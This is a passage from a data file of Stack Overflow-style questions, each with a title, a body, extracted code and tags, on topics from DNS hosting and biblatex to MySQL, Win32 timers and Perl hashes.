hosting provider?\nExample\nhttp://who.is/dns/evernote.com/\n\nQuestions\n\nWhich
hosting provider does Evernote use?\nWhy Evernote use Nettica.com? What's the
advantage?\n\nThank you.\n", "evernote.com NS 1 day dns5.nettica.com\nevernote.com
NS 1 day dns1.nettica.com\nevernote.com NS 1 day dns2.nettica.com\nevernote.com
NS 1 day dns3.nettica.com\nevernote.com NS 1 day dns4.nettica.com\n", "dns dns-
hosting"], "4526148": ["sending single attachment to default e-mail client using
mailto: in OSX desktop app", "I am developing an Desktop application which deals
with images. I want to provide a feature that e-mails selected image (single image)
to the default e-mail client. So, I am using 'mailto:' as follows:\nNSString *eMail
= [NSString stringWithFormat: @\"mailto:?subject=Test&body=Image];\n[[NSWorkspace
sharedWorkspace] openURL: [NSURL URLWithString: eMail]]; \nHow do I send the
image as an attachment using mailto: ?\nI tried the following: But, it does not
work.\nNSString *eMail = [NSString stringWithFormat: @\"mailto:?
subject=Test&body=Image&attachment=%@\", @\"Test.png\"];\n[[NSWorkspace
sharedWorkspace] openURL: [NSURL URLWithString: eMail]]; \nCould someone help
me?\nThanks and Regards,\nDeepa\n", "", "osx default attachment mailto email-
client"], "5910295": ["cocos2d box2d -balance of tower", "I have a tower of boxes,
that is not balanced, that means that after 4 seconds the 8 boxes (that are one
above the other) are losing balance and fall down by them self.\nI want them to be
more balanced, i have tried playing with the next:\n\nbut nothing was changed still
they are losing balance.\ntheir shape is .\nwhat can bring me that equilibrium ?\
n", "spriteShapeDef.friction=0.1; //have checked may values.\
nspriteShapeDef.resitution=1;\nspriteShapeDef.density = 100.0;\n", "objective-c
cocos2d-iphone box2d"], "4986612": ["biblatex: make title hyperlink to DOIs, URL or
ISBN", "This is a follow up question to biblatex: Make title hyperlink to doi url
(if available). My reference database contains some DOI codes, but mainly normal
URLs and some ISBN/ISSN codes. What I would like to achieve is extending the code
from Herbert and hyperlink the title of the entry with the following priority: 1.
DOI, 2. URL, 3. ISBN/ISSN. What I mean is, if both DOI and URL is available, use
DOI. If URL and ISBN is available use URL. If only ISBN is available use that.\
nThere are two further isses: \n\nThe URL field might contain several URLs, which
are just seperated by a white space. In that case just the first URL should be
used. \nHerbert's code just extends to articles. I would like to extend this to all
entry types.\n\nThe code from Herbert to Hyperlink the Title with DOIs is: \n\nThis
far surpasses my skill, so it would be great if someone could give me some guidance
how to achieve that. \n", "\\newbibmacro{string+doi}[1]{%\n \\iffieldundef{doi}
{#1}{\\href{http://dx.doi.org/\\thefield{doi}}{#1}}}\n\\DeclareFieldFormat{title}
{\\usebibmacro{string+doi}{\\mkbibemph{#1}}}\n\\DeclareFieldFormat[article]{title}
{\\usebibmacro{string+doi}{\\mkbibquote{#1}}}\n", "biblatex hyperref urls doi"],
"4446744": ["Why does my MySQL server keep converting HEAP to MyISAM", "We ve been
having some issues with our MySQL server intermittently. It keeps throwing out a
lot of these queries concurrently (thus stacking them up in my processlist). We are
using a MyISAM db and connection pooling through Glassfish v3 for a Grails
Application.\ndb_user myhost:35143 db Query 39 \n\nWe speculate that there are temp
tables being created through GORM (the grails ORM) that are causing these queries.\
n", "converting HEAP to MyISAM /* mysql-connector-java-5.1.7 ( Revision: ) */SHOW
VARIABLES WHERE Variable_name ='language' OR Variable_name = 'net_write_timeout' OR
Variable_name = 'interactive_timeout' OR Variable_name = 'wait_timeout' OR
Variable_name = 'character_set_client' OR Variable_name =
'character_set_connection' OR Variable_name = 'character_set' OR Variable_name =
'character_set_server' OR Variable_name = 'tx_isolation' OR Variable_name =
'transaction_isolation' OR Variable_name = 'character_set_results' OR Variable_name
= 'timezone' OR Variable_name = 'time_zone' OR Variable_name = 'system_time_zone'
OR Variable_name = 'lower_case_table_names' OR Variable_name = 'max_allowed_packet'
OR Variable_name = 'net_buffer_length' OR Variable_name = 'sql_mode' OR
Variable_name = 'query_cache_type' OR Variable_name = 'query_cache_size' OR
Variable_name = 'init_connect'\n", "mysql java glassfish hibernate"], "4393206":
["Why cat $(find /usr/portage -name *.ebuild) | grep RESTRICT - works? And find |
grep - not?", "Why I can't grep find? Only helps grepping cat of find. \nAs I see
program grep could see some context in which every command runs. But it's
counterintuitive for a newbie like me. When given with argument grep can search
files , but when it's with pipe ( | ) - it couldn't.\n", "", "bash grep pipe"],
"4859724": ["Binary writer is padding file out with 0's", "We are generating a file
using the and the problem we are having is that the file is being padded out with
0's (00000000), which pushes the file size up to 64k.\nHere's a quick sample of
what we are doing. We have a byte array of data and we want to write only so many
bytes out at a specific location in the file.\n\nHowever, when we open the file, it
is filled out with 0's which inflated the file size up to 64k. Why is it doing
this and is there a way to prevent it?\nEDIT:\nAs requested, here is an actual
block of code. We do several different writes in the file based on various logic,
so this is a simplified version.\n\n", "BinaryWriter", "c# bytearray binaryfiles
binarywriter"], "5596042": ["Add message to popup message box C# noob question",
"How can I add message to popup text box:\n\n", " catch (Exception)\n
{\n Interaction.MsgBox(Conversion.ErrorToString(), MsgBoxStyle.Critical,
null);\n }\n", "c# .net winforms
error-handling"], "1467141": ["CoreData iPad App Crash", "I have made a new split
view iPad app using CoreData. All I have done is added a new attribute to the
entity which is a string. (The default being timeStamp, date).\nThis causes the app
to crash upon startup just adding it. How come?\nI was for example going to play
around with it to display text rather than its default date. E.g. changing this
line: [newManagedObject setValue:[NSDate date] forKey:@\"timeStamp\"]; Using a
different value other than a date.\nHope you can help.\n", "", "objective-c ipad
core-data uisplitviewcontroller"], "5613692": ["How to calculate the pmf of $X_N$",
"How do I calculate the pmf of $X_N$, where $X$ is the number of people out of $N$
getting back their own hat after a random hat exchange?\nHow can I calculate it
without listing all the possible outcomes?\n", "", "probability probability-
distributions"], "3979352": ["How to take partial screenshot with Selenium
WebDriver in python?", "I have searched a lot for this but couldn't find a
solution. Here's a similar question with a possible solution in java.\nIs there a
similar solution in Python?\n", "", "python selenium"], "4240580": ["Copying
database with or without indexing on?", "This should really be a community wiki
page, but I have to ask this question and see what I might be missing. I'm a
moderator on a site and they are going through a new site transition. \nThey
started data migration yesterday around lunch. It's still going on and they say
it's going to take 30 more hours. It's a rather large site (700 million records
going from SQL Server to MySQL) but I couldn't fathom why it was taking so long. \
nI just found out that they're indexing on the fly. Are there benefits to this?
Would it not be quicker and probably safer to copy and then index? If anyone has
links, I'll most likely choose that as the answer. Thanks.\n", "", "mysql sql-
server database indexing"], "1098615": ["List of useful group theory results in
solving problems of Galois Theory", "I want a list of Group Theory results that are
generally helpful for solving problems in Galois theory, specially, problems
involving the Fundamental Theorem of Galois Theory?\nThe exams are near, and I
don`t have enough time to revise Group theory.\n", "", "galois-theory"], "5412411":
["How to reduce space between tr?", "I am trying to replicate a page I have been
given, and I have nearly finish, but I have a small problem with it.\nThe space
between tr are too big. I have done it reducing the margin top and bottom but there
is a point where rows overlap.\nDoes anybody have any suggestions?\ne.g.\n\n",
"<style type=\"text/css\">\n.divContainer\n{ \nmargin:10px;\nbackground-
color:#C7D8EE;\nborder:2px solid #0076BF;\ntext-align:left; \n}\n\
n.tableContainer\n{\ncolor:#0076BF;\nmargin: -10px 0px -10px 0px;\nborder-spacing:
10px;\nempty-cells:show;\nwidth:90%;\n\n} \n.tableContainer tr td{\n white-
space:nowrap;\n}\n\n.tableContainerRow2{\nbackground-color:white;\nborder:2px solid
#0076BF;\n\n}\n</style>\n <div class=\"divContainer\">\n <table
class=\"tableContainer\" cellspacing=\"10px\">\n <tr>\n
<td>NHS Number</td>\n <td>&#160;</td>\n <td>Date of
Visit</td>\n <td>&#160;</td>\n <td colspan=\"3\">Care
Time Started</td>\n <td>&#160;</td>\n <td>&#160;</td>\n
<td rowspan=\"2\" style=\"font-weight:bold;vertical-align:middle;\">Tick when<br/>
care starts</td>\n </tr>\n <tr >\n <td width=\"90\"
class=\"tableContainerRow2\">&#160;0123456789</td>\n <td >&#160;</td>\
n <td width=\"80\" class=\"tableContainerRow2\">&#160;12/12/09</td>\n
<td >&#160;</td>\n <td width=\"40\"
class=\"tableContainerRow2\">&#160;12</td>\n <td width=\"5\">:</td>\n
<td width=\"40\" class=\"tableContainerRow2\">&#160;10</td>
\n <td >&#160;</td>\n <td style=\"text-align:right\"
>&#160;&#9745;</td>\n </tr>\n </table>\n <table
class=\"tableContainer\" cellspacing=\"10px\" >\n <tr>\n
<td></td>\n <td>Initials</td>\n <td>Surname</td>\n
</tr>\n <tr>\n <td width=\"80\" style=\"font-
weight:bold;\">Midwife</td>\n <td width=\"50\"
class=\"tableContainerRow2\">&#160;</td>\n <td
class=\"tableContainerRow2\">&#160;</td>\n </tr>\n <tr>\n
<td></td>\n <td>Initials</td>\n <td>Surname</td>\n
</tr>\n <tr>\n <td style=\"font-weight:bold;\">Doctor</td>\n
<td class=\"tableContainerRow2\">&#160;</td>\n <td
class=\"tableContainerRow2\">&#160;</td>\n </tr>\n </table>\n
<table class=\"tableContainer\" cellspacing=\"10px\" >\n <tr>\n
<td width=\"250\">Forename</td>\n <td>Surname</td>\n </tr>\n
<tr>\n <td class=\"tableContainerRow2\">&#160;</td>\n <td
class=\"tableContainerRow2\">&#160;</td>\n </tr>\n </table>\n <table
class=\"tableContainer\" cellspacing=\"10px\" >\n <tr>\n <td
width=\"90\">Date of Birth</td>\n <td width=\"150\"></td>\n <td
width=\"100\">Casenote No:</td>\n <td></td>\n </tr>\n <tr>\n
<td class=\"tableContainerRow2\">&#160;</td>\n <td></td>\n <td
class=\"tableContainerRow2\">&#160;</td>\n <td></td>\n </tr>\n
</table>\n </div>\n", "html css alignment"], "1823853": ["Add / Delete pages to
ViewPager dynamically", "I would like to add or delete pages from my view pager
dynamically. Is that possible?\n", "", "android android-viewpager"], "2830358":
["cocos2d game inApp lock few levels", "I have gone through this tutorial. Very
nice though.\nhttp://www.iphonegametutorials.com/2011/06/08/cocos2d-tutorial-using-
in-app-purchases/\nBut I didn't understand if I have 8 levels in Game then how to
keep 4 -8 levels paid. I have 8 separate layers/classes for each level.\nCan I do a
check on init of particular level if the level is purchased or not? If purchase
then let it play.\nHow to do with reference to this tutorial?\nPlease help me.\n",
"", "iphone ios cocos2d-iphone in-app-purchase"], "5017273": ["AppleScript \"Save
As\" HTML in TextEdit", "I want AppleScript to loop through a set of of RTD files
in folder and save them as HTML files.\nThis is my simple code so far. The XXXX is
where I'm struggling:\n\nI'm really new to this... any help much appreciated.\n",
"tell application \"Finder\"\n set source_folder to choose folder\n set aList
to every file in source_folder\n repeat with i from 1 to number of items in
aList\n tell application \"TextEdit\"\n set aFile to (item i of
aList)\n save as aFile XXXXXXXXX\n end tell\n end repeat\nend
tell\n", "applescript textedit"], "4216041": ["What is the easiest way to front my
grails application with LightHTTPD during development?", "I'm not familiar with
LightHTTPD and haven't been able to find any guides on how to configure this. I
attempted reading the docs and configuring it a while back but failed....\nWhat is
the easiest way to front my grails application in development with LightHTTPD\"?\
n", "", "grails lighttpd"], "3476931": ["ffmpeg metadata", "I am encoding
MPEG4/H264 to an mp4 file using libavformat (i.e. C libraries) I would like to add
some metadata to the MP4 file such as date/time. Can someone give me some
indication of how this can be done?\nThanks.\n", "", "ffmpeg libavformat"],
"4806711": ["Why MEF has [ImportMany] and not just [Import]", "I just hunted down
an problem in my mef application; problem was, that I had an instead of in my
property. I started to wonder why. MEF sees that the injection target is
a \"collection\" and could determine that collection is needed instead of a single
element. At least Ninject works this way.\nDoes anyone have insight why is
required? Only reason I can think of is that one might want to but is this really
the reason for this design? I bet I'm not the only one who has been debugging this
kind of error.\n", "[Import]", "dependency-injection inversion-of-control mef"],
"2813552": ["Open source tool to extract ActionScript from FlashMovies", "Is there
an Open source tool to extract ActionScript from Flash movies, ideally written in
(or consumed by) C#\nI just did a search and found http://www.nowrap.de/flare.html,
but the source code is not available.\nI need this so that I can allow the security
review of Flash & ActionScript using the OWASP O2 Platform\n", "", "flash
security"], "1548257": ["store.sync() callback", "Is there a callback for
store.sync()?\nI am trying to do:\n\nbut it does not work.\nThe store is a local
store.\n", "store.sync(function(){\n alert('1');\n});\n", "callback sencha-touch-
2 store sync"], "4380766": ["Javascrtip bind, does it make a deep copy of `this`?",
"I am new to prototype, and I just made a simple example that won't work. From the
code below its obvious what I want - a counter. But for some reason the output is
always , I guess that the is making a deep copy of the object, which is then
bound to the function. There is an obvious solution where I make everything public,
but I would like to know if there is a more elegant solution. (Or you may correct
my and tell me that there is no deep copy, but some other bug). The documentation
didn't help me.\nThe code:\n\n\n", "5", "javascript environment-variables
prototype"], "4445900": ["Internet not working after upgrade to Ubuntu 10.10", "I
have a dedicated server which I have just upgraded from Ubuntu 10.04 to 10.10 (it
was running the
LTS version), and it had seemed to have upgraded successfully until I tried to
access the internet in a browser. I was unable to access any websites (although I
am able to ping) and it seems there is no outgoing connection at all to the web,
yet I can connect to my server remotely via SSH and remote desktop tools such as
NoMachine. I checked the network devices available, and it shows three:\nlo
(Loopback)\neth0\neth1\nI checked eth0 and it seems to be working, with my server
IP and it is active and sending & receiving packets normally, yet I am still unable
to access the internet.\nLooking at the Network Connections window on the Wired
Connections tab, there is only a \"Auto eth1\" connection, but shouldn't there be
an \"Auto eth0\" as that is the connection it seems my server should/is using? Is a
matter of changing the default connection of Ubuntu to eth0 to access the
internet?\nAny help would be appreciated.\nCheers.\n", "", "networking ubuntu
internet internet-connection"], "2816259": ["Make picture background transparent in
beamer", "I make a PNG picture by using PowerPoint, and include that picture in my
slide. However, the picture's background is neither white or transparent. What
should I do? You can see the slide below:\n\nThe code snipt below:\n\n", "\\
begin{figure}\n \\centering \\includegraphics[scale=0.5]{fig/lowering_flow.png}\
n\\end{figure}\n", "beamer graphics backgrounds"], "5925172": ["Distributed caching
solution for WCF service", "We have typical ASP.NET application with a web app & a
phone client app which talks to a WCF Service which uses a SQL Server database.
Currently we have only once instance of WCF service hosted in IIS but may decide to
deploy to a webfarm in future.\nWe would like to cache relational data in a cache
in WCF service side, that way both web app and phone app can benefit from it. WCF
service is purely stateless and we need to keep it that way.\nWith those
constraints, what are available technologies/solutions/thirdparty components that
we can use to implement the caching on WCF service. Which ones work best in a
webfarm scenario?\n", "", ".net wcf caching distributed-caching"], "31285":
["Android:about using \"wsimport\" to generate java code", "I got a wsdl file, and
wanna generate java code from it using \"wsimport\".But it prints ERROR:\"invalid
WSDL element :\"wsdl:message\"\".\nCan anyone help me?\nThanks in advance!\n", "",
"android soap wsdl ksoap2"], "5486567": ["Divisibility of discriminants in number
field extensions", "Let $L/K/\\mathbb{Q}$ be a tower of number fields.\nIf $e_1,\\
dots,e_n$ and $m_1,\\dots,m_k$ are $\\mathbb{Z}$-bases of the ring of integers of
$L$ and $K$, then\n$$d_L=\\det(\\text{tr}(e_ie_j)), \\ d_K=\\det(\\text{tr}
(m_im_j)).$$\nWe can write $m_i=\\sum a_{ik} e_k$ for some $a_{ij}\\in\\mathbb{Z}$,
so\n$$d_K=\\det(\\text{tr}(m_im_j))=\\det\\left(\\sum a_{ik}a_{jl} \\text{tr}
(e_ke_l)\\right)=\\det(a_{ij})^2 d_L.$$\nBut this must be wrong: consider a
cyclotomic field, whose discriminant has a square factor. It contains (by Galois
theory) a quadratic field, whose discriminant is squarefree when it is $\\mathbb{Q}
(\\sqrt{d})$ with $d\\equiv 1\\pmod{4}$)\nWhere is the mistake ?\n", "",
"algebraic-number-theory"], "4163977": ["Kerberos events are not logged on Windows
7", "I tried to configure Windows 7 machine with our web-server running on it to
log Kerberos-related events (meaning Windows system Log). I followed these
instructions: How to enable Kerberos event logging.\nIn order to test this setting,
I changed time on a demo client machine so that 'Clock skew too great' error would
be raised. The exception itself was raised on a server, however, no logs were found
in System Log. Even though I expect them to be logged only on a server machine, I
also checked logs the same way on client machine, and even on a domain machine
(which was rather a wild guess). As expected, no error events were found in system
log.\n", "", "logging kerberos"], "3500715": ["Joomla 2.5.4 plugins does not appear
on main site", "I install Joomla 2.5.4 plugin System - Twitter Roll and set basic
configuration which I know but it does not appear on main site infect any plugin
which I installed does not appear on front site and there is no extra option in
installed plugin to define some page where to show it.\n", "", "joomla2.5"],
"1744767": ["How do I get my 192.168.* Linux server accessible via
http://hostname/?", "(Sorry if this question isn't worded well and/or is duplicate.
I'm not a networking guy and I'm probably not using the right terms...this also
makes it hard to see if this has already been answered.)\nI'm running a CentOS
server in VirtualBox, Windows host, and I can see access Apache-hosted pages at
from machines on my LAN. But what I'd like is for people to be able to
type ...both because it's easier and primarily because I'm not sure that local IP
is static. I'm not really sure how to proceed - could someone point me in the
right direction? Thanks.\n", "http://192.168.1.109/", "lan linux-networking"],
"5855880": ["How can I restore a lost file in Ubuntu?", "In Ubuntu 10.04, there is
a file that appears when I use the command with right next to its name, like:\n\n
\n\nI can't open it, rename it, or copy it.\nWhen I try to access it, I get the
error:\n\n\"cannot stat 'file.c' : No such file or directory.\"\n\nHow can I open
or restore this file ? \n", "ls", "ubuntu file data-recovery"], "5263531": ["Fat
Burning Zone -- Is it real?", "Does low-intensity, long-duration exercise
really \"burn fat\" at rates higher than highly aerobic exercise? Is the academic
case for this view actually strong? It seems like a lot of accepted knowledge in
the exercise industry has a weak scientific basis.\n", "", "medical-science"],
"4453704": ["Java multiply operation behavior", "I wrote a method to convert a
given number from days to milliseconds:\n\nI had a hard time to figure out what I
did wrong. Now my question:\nIs that error so obvious ? \nThe corrected method:\n\
nIf I don't convert the integer to long before calculating, I get a complete wrong
result.\n", "private long expireTimeInMilliseconds;\n...\npublic void
setExpireTimeInDays(int expireTimeInDays)\n{\n expireTimeInMilliseconds =
expireTimeInDays * 24 * 60 * 60 * 1000;\n}\n", "java overflow integer-overflow"],
"1743635": ["How to save/load canvas elements(images (.png) and lines (shapes))",
"I am creating a graphics project in adobe flex, in which I am having images on
canvas. each image is connected to other with line(shape object) connectors. I have
stored these in an array collection.I need to save these on my hard disk as a file.
And also load later.How to do that... any suggestions?\nThanks\n", "", "flex
serialization deserialization"], "1099269": ["No adapter for endpoint SWS", "I'm
trying to create a simple Hello World WebService using this tutorial.\nI'm running
Java 1.7.0_04, Spring 2.1, everything is built with Maven and deployed with
Tomcat6. However, when trying to send a SOAP request (soapUI), server returns me\n\
nI think there is a problem with annotations, however this is how my files look
like:\nweb.xml\n\nspring-ws-servlet.xml\n\nHolidayEndpoint.java\n\nhr.xsd\n\n", "No
adapter for endpoint [public org.jdom.Element
com.mycompany.hr.ws.HolidayEndpoint.handleHolidayRequest(org.jdom.Element) throws
java.lang.Exception]: Is your endpoint annotated with @Endpoint, or does it
implement a supported interface like MessageHandler or PayloadEndpoint?\n", "spring
soap annotations adapter endpoint"], "4021920": ["In Django, How do I get escaped
html in HttpResponse?", "The following code in one of my views returns unescaped
html string which cannot be parsed in frontend since it is an Ajax request.\n\nWhat
is the simplest way to correct this ?\nThanks in advance..\n", "return
render_to_response(template_name, {\n 'form': form,\n
redirect_field_name: redirect_to,\n 'site': current_site,\n
'site_name': current_site.name,\n }, context_instance=RequestContext(request))\
n", "python django django-templates escaping httpresponse"], "5649705": ["Cannot
install .net 4.0 on ubuntu 10.4 with mono", "I have recently installed Ubuntu 10.4
lts on my system. I have downloaded Wine so I can play my Windows games. However
they require .net 4.0 to run. After going to the mono site and downloading mono
development, I tried to open .net 4.0 full installer for both X86 and X64 systems.
It then shows the error message \"incorrect .dll or .exe application\" and will not
open it. I followed the steps at http://badgerports.org/lucid.html to download
Mono, but it does not work.\nCan I please have some help?\nSincerely Caleb\n", "",
".net mono monodevelop"], "4972641": ["Stored procedure insert two rows?", "I have
created a stored procedure using T-SQL.\nI run it using this query\n\nBut when
testing it in SQL Server Management Studio it inserts the same row twice, which
causes a Primary Key violation.\nThe Primary Key is on the email column.\nWhy does
it insert two rows?\nHere's my procedure\n\n", "EXEC insertfbusers email, name\n",
"sql-server stored-procedures"], "18496": ["Create entire wordpress as a github
repositery?", "In my IDE (Flash Builder for PHP), I can't find a way to create sub
project inside Wordpress project as I did with NetBeans. Seems I need to make
entire WordPress as a github local repo in order to add version control for my
small plugin. Is there other ways I can import git repo as a project inside main
project? \n", "", "plugins plugin-development git"], "5102414": ["weird if
statement causing to shut timer", "So I've been trying to figure the following:\n\
nSo here's the problem: in the case WM_PAINT:, when I uncomment the if statement,
the time stops ticking for some reason. I have no idea why and don't know how to
correlate this with anything. So, if I uncomment it,
it will not render nor it will it recieve information from the other timer (there
are two timers). Please help me, and please don't laugh if it is silly.\n",
"LRESULT CALLBACK WindowProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam)\n{\n HDC hDC; // Display context handle\n PAINTSTRUCT
PaintSt; // Structure defining area to be drawn\n RECT aRect; //
A working rectangle\n HPEN hPen; // A working pen\n HBRUSH
hBrush; // A working brush\n switch(message)\n {\n case
WM_TIMER:\n switch(wParam)\n {\n case
IDT_TIMER1: \n redraw = true;\n
InvalidateRect(hWnd, NULL, TRUE);\n case IDT_TIMER2:\n
if(keys[UP])\n {\n rect2.bottom -= 5;\n
rect2.top -= 5;\n }\n if(keys[DOWN])\n {\n
rect2.bottom += 5;\n rect2.top += 5;\n }\n
if(keys[RIGHT])\n {\n rect2.left += 5;\n
rect2.right += 5;\n }\n if(keys[LEFT])\n {\n
rect2.left -= 5;\n rect2.right -= 5;\n }\n }\n
return 0;\n case WM_PAINT:\n //if(redraw)\n {\n
redraw = false;\n render_frame();\n }\n return 0;\
n\n case WM_KEYDOWN:\n\n switch(wParam)\n {\n
case VK_UP:\n keys[UP] = true;\n break;\n
case VK_DOWN:\n keys[DOWN] = true;\n break;\n
case VK_LEFT:\n keys[LEFT] = true;\n break;\n
case VK_RIGHT:\n keys[RIGHT] = true;\n break;\n
default:\n break;\n }\n\n return 0;\n case
WM_KEYUP:\n switch(wParam)\n {\n case VK_UP:\n
keys[UP] = false;\n break;\n case VK_DOWN:\n
keys[DOWN] = false;\n break;\n case VK_LEFT:\n
keys[LEFT] = false;\n break;\n case VK_RIGHT:\n
keys[RIGHT] = false;\n break;\n default:\n break;\
n }\n return 0;\n case WM_DESTROY:\n PostQuitMessage(0);\n
return 0;\n\n default:\n return DefWindowProc(hWnd, message, wParam,
lParam); // default message processing\n }\n}\n", "c++ windows if-statement
directx"], "4150778": ["Is it possible to convert a serialized ASP.NET dataset to a
PHP object?", "I am writing a PHP application that pulls some compressed and
serialized ASP.NET data from a SQL database. \nInstead of relying on an ASP
application to unserialize and translate the (quite bulky) data into JSON and pass
it to my PHP app, I would like to skip one step and have the PHP application
convert the serialized data into a PHP native array or object. \nI have searched
online but I can't find any reference. Is this possible to do? \nThanks\ngm\n", "",
"php asp.net serialization dataset"], "2213570": ["JavaScript: Get Argument Value
and NAME of Passed Variable", "What I want to do is get the NAME of a variable
passed to a function and the VALUE of that variable and only have to pass in one
variable to the function. So:\n\nor\n\nWhich will return: \"x = anything\".\nRight
now, I have to do:\n\nin order to get the name and value of the variable I am
passing in. Note that I am not interested in the name of argument in the prototype
of showName, but the name of the variable in the calling function. Also, the
variable may be local, so I can't use the window object to find the variable.\n",
"var x = \"anything\";\n\nfunction showName() {\n\n}\n\nshowName(x);\n",
"javascript arguments"], "843799": ["SurfaceScrollView with custom control as
content no scroll or no touch", "Here is my setup:\nSurfaceScrollView->StackPanel-
>*Controls\nwhere Controls may be a SurfaceButton, SurfaceTextBox or my own custom
controls.\nProblems:\n1) SurfaceTextBox will prevent any scroll gestures which
originate on it (when it is enabled). How to avoid/fix this? I'd expect Surface
input processor would distingquish between scroll (pan) \n2) I want my custom
controls to behave similarly to SurfaceButton (ie are Tappable but do not prevent
scroll). How to handle Touch in custom controls? I noticed that if I mark TouchDown
handled then I get no scroll, but if I do not mark it handled I never receive
TouchUp (despite Capture called in TouchDown). Observing SurfaceButton, it itself
marks TouchDown as handled so what's the difference?\nFor #2 I could use
TouchExtensions.AddTapGestureHandler to avoid TouchDown problem but I still do not
know how to properly support mouse.\n", "", "wpf touch surface"], "4432452":
["Understanding the difference between \"test-first\" and \"test-driven\"", "I've
had conversations about this topic in the past, and I think I might know the
answer, but I've not been able to articulate it properly. \nHere's what I think I
know:\nI suspect you are test-first rather than test-driven if you already have the
idea in your head of how things will work before you write tests, so you write
tests first that will test your idea before implementing your idea. I.e. Your idea
of the implementation comes first, and drives what the tests look like.\nIf you're
test-driven then you're trying to get the test to drive what the implementation
looks like. You write a test for some behaviour you want rather than a preconceived
idea of the implementation, so that you have to come up with an implementation in
the \"refactor\" stage to pass the test well.\nMy questions are:\n\nHave I
understood this correctly?\nHow does one get into the test-driven mindset from the
test-first mindset, when it's natural for most developers to immediately start
exploring solutions in their mind before they even reach out for the keyboard?\n\
n", "", "unit-testing tdd test-first"], "2457053": ["How to mount a network share
as a local drive?", "I have two servers. One has a limited amount of space (S01)
and the other (S02) has several TBs free. I want to mount one of the partitions of
the S02 server to S01 and use it as local drive. Not as a network drive or a
network location. Both machines are running windows. S01 is running Server 2008 and
S02 is running Windows 7 with custom software for backing up the data on it. Is
there any way I can do that?\nI looked into this:\nHow to Mount remote disc as
local in Windows 7 and Windows 2003?\nIs it the correct way to go?\n", "",
"windows-server-2008 network-share mount"], "4603399": ["Display a specific dynamic
sidebar widgets on a specific page", "I have had a wordpress site handed off to me
halfway through completion. It's been at least a year since I last used wordpress
and there are a lot of things I'm finding different. The way I am used to
displaying different content on different pages is to create page templates for
each page that needs unique content.\nI am trying to display a different sidebar on
one particular page than on the rest of the site. What I would have done a year ago
is make a page template for this page and make a new sidebar file and then include
the sidebar file in the page template. I've found that this doesn't work. The main
culprits I can see are & , which were non-existent in the stripped down theme that
I would typically use when building a site long ago. However, it appears that
whoever had their hands on this thing before me has copied the 'twenty ten' theme
and made changes to it under a new name. \nI've registered a new dynamic sidebar in
the theme's and I can see it in the Widgets section of the Dashboard and add
widgets to it.\nI can't for the love of god get it to display on the page I want it
to though. I've tried the following:\n1.) Given the page a custom template and
placed the following where the sidebar should be called:\n\nThe filed containing
code I copied from with the \"News\" sidebar id that I listed in :\n\nThe page
template is applied to the correct page.\n2.) Gone into and changed:\n\nto:\n\
nI've also checked several times to make sure the page ID is correct and tried
using the slug name instead but to no avail.\n3.) Tried the previous in \n4.)
Placed the following conditional statement in :\n\nAlso after doing some research
and finding out that the proper way to extend or change the functionality of a
theme is to create a child theme, I attempted to do that, but it caused some things
to break that I don't have the time to try and fix. \nI've found that the default
'sidebar.php` is being called and displayed on the page, however, even though my
conditional statement with the page ID is present, it's not displaying the custom
sidebar widgets.\nI also cannot seem to find how the default sidebar is being
called on the page because removing altogether on my custom template , , or
doesn't seem to do anything.\nPlease can someone let me in on how to add this
sidebar to the page.\n", "loop.php", "themes pages sidebar page-template
templates"], "5327819": ["Cannot boot Gparted (or any other USB/CD) on a Dell
Vostro 200", "Very strange problem. Trying to get Leopard installed on a Dell
Vostro 200 Minitower but can't get past Step Zero. Didn't boot of a formatted USB
key, so I burned a Gparted ISO and tweaked the BIOS appropriately but get\nBoot
from CD : [I hit enter]\nNo boot device available. Press ENTER key to retry\nSATA-
0: Installed\nSATA-1: Installed\nSATA-4: None\nSATA-5: None\n[ENTER, same thing].\
nAny ideas? I upgraded the Dell Bios to the latest one but no help.\n", "",
"dell"], "5017902": ["Perl - unable to access hash element", "I'm unable to access
an element of a hash. The element I want to access
is an array. The hash looks like this when dumped with Data::Dumper :\n\nNow, when
I try to access the nested array, identified by \"DynamicField_AssetMatricole\", it
works well when I use:\n\nThe actual key, though, comes out of mysql, and is stored
in another hash structure:\n\nHence I would expect the array being accessible
with:\n\nThis does not work. We have been troubleshooting a while, trying to
understand why the two keys do not match: \n\n... this actually prints out \"STRING
MATCH\"\nFurther investigation: (using http://search.cpan.org/~ftassin/Data-
HexDump-0.02/lib/Data/HexDump.pm )\n\nOutputs: \n\nmeaning that the two string are
actually the same !\nBackground: the application is being run under mod_perl.
Apache and mysql (with all its dbs and tables) are set to UTF8. \nHas anyone a clue
where we could look into ? \nThanks in advance\n", "$VAR1 = {\n #Lots of vars
here\n 'ResponsibleID' => '1',\n 'DynamicField_AssetMatricole' => [\n
'2400930 ',\n '2901666
',\n '2401940 '\n
],\n 'ChangeBy' => '19',\n #Lots of other vars here\n};\n", "perl hash"],
"3950732": ["int operators != and == when comparing to zero", "I've found that !=
and == are not the fastest ways for testing for zero or non-zero.\n\nCompiler: VC++
11\nOptimization flags: /O2 /GL /LTCG\nThis is the assembly output for x86-32. The
second versions of both comparisons were ~12% faster on both x86-32 and x86-64.
However, on x86-64 the instructions were identical (first versions looked exactly
like the second versions), but the second versions were still faster.\n\nWhy
doesn't the compiler generate the faster version on x86-32?\nWhy are the second
versions still faster on x86-64 when the assembly output is identical?\n\nEDIT:
I've added benchmarking code. ZERO: 1544ms, 1358ms NON_ZERO: 1544ms, 1358ms\
nhttp://pastebin.com/m7ZSUrcP\nor\nhttp://anonymouse.org/cgi-bin/anon-www.cgi/
http://pastebin.com/m7ZSUrcP\nNote: It's probably inconvenient to locate these
functions when compiled in a single source file, because main.asm goes quite big. I
had zero1, zero2, nonZero1, nonZero2 in a separate source file.\nEDIT2: Could
someone with both VC++11 and VC++2010 installed run the benchmarking code and post
the timings? It might indeed be a bug in VC++11.\n", "bool nonZero1 = integer !=
0;\nxor eax, eax\ntest ecx, ecx\nsetne al\n\nbool nonZero2 = integer < 0 || integer
> 0;\ntest ecx, ecx\nsetne al\n\nbool zero1 = integer == 0;\nxor eax, eax\ntest
ecx, ecx\nsete al\n\nbool zero2 = !(integer < 0 || integer > 0);\ntest ecx, ecx\
